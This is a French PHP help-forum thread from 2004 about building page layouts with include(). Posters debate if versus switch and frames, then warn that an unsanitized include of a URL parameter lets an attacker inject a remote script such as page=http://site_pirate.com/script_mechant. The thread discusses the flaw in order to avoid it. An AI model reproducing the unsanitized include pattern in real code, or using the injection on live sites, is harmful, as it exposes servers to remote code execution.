prob très simple - include en php - PHP - Programmation
Marsh Posté le 08-02-2004 à 13:10:40
1) C'est plusieurs fichiers en .php que tu dois créer (exemple : accueil.php, contact.php etc...)
2) Tu fais des liens dans ton menu en haut ou tu passes un paramètre comme ceci :
Code :
|
Dans ta page index.php, à l'endroit ou tu dois afficher le centre :
Tu récupères ta variable passée en paramètre dans les liens :
Code :
|
Puis, tu testes la valeur de cette variable et tu "inclues" la bonne page en fonction du résultat.
Code :
|
Bon voilà, je t'ai aidé parce qu'on est dimanche, mais sache qu'une question aussi basique que celle-là a été traitée ici des milliers de fois. Donc la prochaine fois, recherche sur le forum. Et sinon, tu as des tutoriaux pour ce genre de choses complêtement basiques ici : http://www.phpdebutant.org
Marsh Posté le 08-02-2004 à 17:29:11
Citation : Bon voilà, je t'ai aidé parce qu'on est dimanche, |
Ah c'est pour ça. je me disais aussi...
Marsh Posté le 08-02-2004 à 17:46:59
Merci pour ta réponse je vais tester. J'ai chercher sur le net juste avant de demander mais g rien trouvé qui marchait bien. Je v tester. Bon dimanche encore merci ++
Marsh Posté le 09-02-2004 à 02:27:32
hermes le messager a écrit :
|
t'as pas plus horrible ?
Code :
|
Marsh Posté le 09-02-2004 à 10:43:37
spike a écrit :
|
Pour un débutant, le "if" est mieux, car plus clair.
De plus au niveau perf, il est maintenant démontré qu'il n'y a pratiquement aucune différence.
Marsh Posté le 09-02-2004 à 12:09:20
hermes le messager a écrit : |
certes mais le switch reste plus compréhensible niveau lecture et plus aisé à utiliser pour la maintenance du code
Marsh Posté le 09-02-2004 à 13:00:26
je ne comprends pas pourquoi vous n'utilisez pas <a href="" target="">, ça fait une frame de trop?
Marsh Posté le 09-02-2004 à 19:44:23
^_^ tu veux qu'on débate sur la pourravicité des frame ? entre les navigateurs qui les supportent pas, les bots des moteurs de recherches qui s'y perdent, l'horreur graphique, les visiteurs qui arrivent par un bout du menu bas droit, la lourdeur de l'affichage et l'augmentation du temps de chargement o_O ... y'en a à dire =)
Marsh Posté le 09-02-2004 à 21:03:13
ok, n'hesitez pas à me montrer un exemple avec les includes parce que là, je pige rien du tout aux avantages qu'on puisse en tirer.
Marsh Posté le 14-02-2004 à 18:52:40
maf2013 a écrit : ok, n'hesitez pas à me montrer un exemple avec les includes parce que là, je pige rien du tout aux avantages qu'on puisse en tirer. |
ça devrait répondre à ta question :
http://openweb.eu.org/articles/finir_cadres/
Marsh Posté le 14-02-2004 à 19:50:48
Hermes le Messager a écrit : |
En fait, le switch serait plutôt plus lent pour une telle utilisation.
Marsh Posté le 14-02-2004 à 19:58:04
ouais bon on parle de PHP là. parlons pas d'optimisation entre if/switch à ce niveau là...
Marsh Posté le 14-02-2004 à 20:28:25
Merci à tous pour vos réponses. Z'etes sympa de vous occuper de mon cas lool. Encore merci ++
Marsh Posté le 14-02-2004 à 20:46:16
comment ca se fait que j'ai directement : FICHIER INCORRECT quand j'arrive sur la premiere page ou quand je cliqk sur ACCUEIL ?
Marsh Posté le 14-02-2004 à 20:50:01
c bon le probleme est resolu merci pour toutes vos reponses ++
Marsh Posté le 17-02-2004 à 23:05:40
JagStang a écrit : |
http://www.phpdebutant.org/article68.php
C'est un bon system pour un site ??
Marsh Posté le 18-02-2004 à 13:42:25
parfait oui
Marsh Posté le 18-02-2004 à 13:52:15
guiotv2 a écrit : |
c le truc a pas faire si tu ne veux pas te faire hacker
imagine que je mette dans la varible page=http://site_pirate.com/script_mechant
tu fera un include('http://site_pirate.com/script_mechant.php3');
et la je peux faire ce que je veux de ton site
Marsh Posté le 18-02-2004 à 14:17:40
fabien a écrit : c le truc a pas faire si tu ne veux pas te faire hacker |
Ok, je crois comprendre le problème. Comment y résoudre ?
Marsh Posté le 18-02-2004 à 14:20:37
guiotv2 a écrit : |
tu peux interdire les "/" sinon tu declare les page une par une comme l'on te l'explique plus haut dans ce topic.
Marsh Posté le 18-02-2004 à 14:29:40
Je suis débutant mais il me semble bien que dans l'artivcle 68 de phpdebutant il y a des if... donc pas de possibilité de hacker de ta maniere...
Marsh Posté le 18-02-2004 à 14:40:39
guiotv2 a écrit : Je suis débutant mais il me semble bien que dans l'artivcle 68 de phpdebutant il y a des if... donc pas de possibilité de hacker de ta maniere... |
le if verifie seulement si la variable $page existe dans l'url.
Marsh Posté le 18-02-2004 à 14:50:36
fabien a écrit : le if verifie seulement si la variable $page existe dans l'url. |
Ok... je crois comprendre. Merci ! il va falloir que je recommence alors...
Marsh Posté le 18-02-2004 à 15:34:12
fabien a écrit : c le truc a pas faire si tu ne veux pas te faire hacker |
dépend la configuration du serveur, il est impossible d'inclurer un fichier via http. alors faut pas être si catégorique. Surtout que la faille d'include est la faille la plus courante, elle est donc de plus en plus corrigé sur les serveurs.
Marsh Posté le 18-02-2004 à 19:51:55
JagStang a écrit : |
d'ou tu tiens ca ?
il y avait un site qui avait cette faille et j'ai reussi a inclure un fichier qui venait de mon serveur., donc par http.
Marsh Posté le 21-02-2004 à 03:48:16
b***el. tu sais lire ?
j'ai dis dépend la config. ça veut donc pas dire _TOUJOURS_
Pour info, la plupart des serveur sont mal configurés. donc...
Marsh Posté le 21-02-2004 à 20:49:54
par contre ce que tu inclus depuis un site distant c'est jamais le source mais l'interprétation par le serveur distant (normal ça passe en HTTP)
Marsh Posté le 08-02-2004 à 11:21:07
Salut tout le monde,
Je suis en train de travailler sur un site en php/html. Pour le moment, dans chaque page il ya un haut+menu, un milieu et un bas. Or le souci, c'est que la page est + lente à charger et j'aimerai créer des frames avec include. Donc je crée un index.php qui include un haut.html (qui contient le menu) et un bas.html. Tout ca ca marche pour le moment, sur mon nouvel index j'obtiens le haut et le bas. Par contre, au centre j'aimerai que s'affiche la page qui change au click du menu. Donc je crée un fichier centre.html, mais je ne sais pas quoi y mettre à l'interieur, sachant qu'il doit appeler acceuil.html, contact.html... etc... Voilà si quelqu'un sait ca m'aiderai beaucoup, je repasserai + tard. Merci d'avance. ++